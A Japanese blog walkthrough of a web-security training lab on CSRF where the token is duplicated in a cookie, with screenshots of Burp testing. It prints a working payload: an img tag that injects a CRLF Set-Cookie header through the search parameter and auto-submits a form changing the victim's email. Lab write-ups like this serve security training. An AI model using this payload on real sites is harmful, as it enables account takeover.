Shikata Ga Nai

Private? There is no such things.

CSRF where token is duplicated in cookieをやってみた

Hello there, ('ω')ノ

 

トークンがCookieに複製されるCSRFを。

このラボのメール変更機能はCSRFに対して脆弱で。

エクスプロイトサーバでCSRF攻撃をして電子メールアドレスを変更せよと。

 

まずは、動作確認を。

 

f:id:ThisIsOne:20210329185334p:plain

 

リクエストボディにcsrfは見当たらず。

 

f:id:ThisIsOne:20210329185304p:plain

 

ログインすると。

 

f:id:ThisIsOne:20210329185506p:plain

 

Cookieにcsrfが。

 

f:id:ThisIsOne:20210329185607p:plain

 

メールアドレスの変更を。

 

f:id:ThisIsOne:20210329185649p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210329185739p:plain

 

一つのcsrfのトークンを削除してSendするとエラーが。

 csrf=p40x2HNPUn4z7GJMtWBlv67zfZzZ14LV

 

f:id:ThisIsOne:20210329185827p:plain

 

もう一つのcsrfのパラメータを削除してSendすると別のエラーが。

 

f:id:ThisIsOne:20210329185923p:plain

 

両方のcsrfを下記に変更してもエラーが。

 csrf=p40x2HNPUn4z7GJMtWBlv67zfZzZ14L1

 

f:id:ThisIsOne:20210329190029p:plain

 

再度、検索して。

 

f:id:ThisIsOne:20210329190221p:plain

 

リクエストをCSRF PoCへ。

 

f:id:ThisIsOne:20210329190448p:plain

 

オプションを設定して。

 

f:id:ThisIsOne:20210329190545p:plain

 

下記のように変更したいメールアドレスとcsrfを設定してRegenerateを。

 email=hack%40mail.com&csrf=fake

 

f:id:ThisIsOne:20210329190629p:plain

 

検索のリクエストのURLをコピーしておいて。

 https://ac1c1fc91f958468801c2527009500a8.web-security-academy.net/?search=test

 

f:id:ThisIsOne:20210329191033p:plain

 

スクリプトブロックに下記のコードを追加してCopy HTMLを。

 <img src="https://ac1c1fc91f958468801c2527009500a8.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();"/>

 

f:id:ThisIsOne:20210329191205p:plain

 

ちなみに追加したコードをデコードすると。

 search=test%0d%0aSet-Cookie:%20csrf=fake

 

f:id:ThisIsOne:20210329184958p:plain

 

コピーしたHTMLを貼り付けて、保存すると。

 

f:id:ThisIsOne:20210329191338p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210329191415p:plain

 

View exploitするとコピーしたHTMLを確認することができて。

 

f:id:ThisIsOne:20210329191617p:plain

 

メールアドレスも変更されたことが確認できて。

 

f:id:ThisIsOne:20210329191453p:plain

 

Best regards, (^^ゞ